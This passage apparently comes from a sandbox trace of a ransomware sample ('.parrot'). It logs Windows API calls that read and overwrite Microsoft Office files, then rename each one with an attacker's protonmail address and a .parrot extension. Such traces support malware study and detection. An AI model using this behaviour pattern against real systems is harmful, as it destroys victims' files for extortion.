dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.282] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchlts.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchlts.dat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0174.294] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0174.294] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0174.295] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.296] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd18, lpOverlapped=0x0) returned 1 [0174.296] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.296] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchphn.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchphn.dat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0174.301] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0174.301] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0174.303] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.303] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0174.332] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.332] WriteFile (in: hFile=0x27c, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0174.335] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.335] WriteFile (in: hFile=0x27c, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0174.337] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa03b5f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0174.337] CloseHandle (hObject=0x27c) returned 1 [0174.338] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchsrn.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchsrn.dat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0174.348] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0174.348] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0174.349] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.350] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10980, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x10980, lpOverlapped=0x0) returned 1 [0174.356] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.357] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.idx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0174.363] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0174.363] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0174.364] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.364] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x41b80, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x41b80, lpOverlapped=0x0) returned 1 [0174.375] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.434] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0174.442] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0174.442] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0174.443] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.444] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6e00, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6e00, lpOverlapped=0x0) returned 1 [0174.446] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.447] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0174.452] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0174.454] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0174.454] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba28770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.455] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0174.455] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0174.455] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c22e700, ftCreationTime.dwHighDateTime=0x1ca6669, ftLastAccessTime.dwLowDateTime=0x1ba28770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c22e700, ftLastWriteTime.dwHighDateTime=0x1ca6669, nFileSizeHigh=0x0, nFileSizeLow=0xcb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="FONTSCHM.INI", cAlternateFileName="")) returned 1 [0174.456] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0174.456] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0174.457] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.457] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcb7, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xcb7, lpOverlapped=0x0) returned 1 [0174.458] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.459] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\fontschm.ini"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\fontschm.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0174.464] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0174.464] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0174.466] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.466] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1eea6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1eea6, lpOverlapped=0x0) returned 1 [0174.469] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.473] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme01.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme01.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0174.479] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0174.479] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0174.481] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.481] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1fbbe, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1fbbe, lpOverlapped=0x0) returned 1 [0174.484] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.486] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme02.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme02.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0174.494] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0174.494] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0174.496] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.496] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f024, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1f024, lpOverlapped=0x0) returned 1 [0174.501] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.503] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme03.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme03.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0174.510] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0174.511] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0174.512] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.512] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f4e2, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1f4e2, lpOverlapped=0x0) returned 1 [0174.517] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.519] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme04.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme04.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0174.527] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0174.527] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0174.529] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.529] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1edba, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1edba, lpOverlapped=0x0) returned 1 [0174.533] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.535] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme05.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme05.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0174.543] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0174.543] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0174.544] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.545] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f2da, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1f2da, lpOverlapped=0x0) returned 1 [0174.549] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.551] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme06.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme06.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0174.559] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0174.560] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0174.561] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.561] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ff56, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1ff56, lpOverlapped=0x0) returned 1 [0174.566] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.568] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme07.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme07.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0174.608] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0174.608] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0174.609] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.610] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f998, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1f998, lpOverlapped=0x0) returned 1 [0174.614] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.616] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme08.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme08.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0174.624] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0174.625] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0174.626] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.626] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x20444, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x20444, lpOverlapped=0x0) returned 1 [0174.633] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.635] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme09.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme09.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0174.666] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0174.667] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0174.668] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.668] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2072a, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2072a, lpOverlapped=0x0) returned 1 [0174.674] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.676] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme10.css"), lpNewFileName="C:\\Program Files\\Microsoft 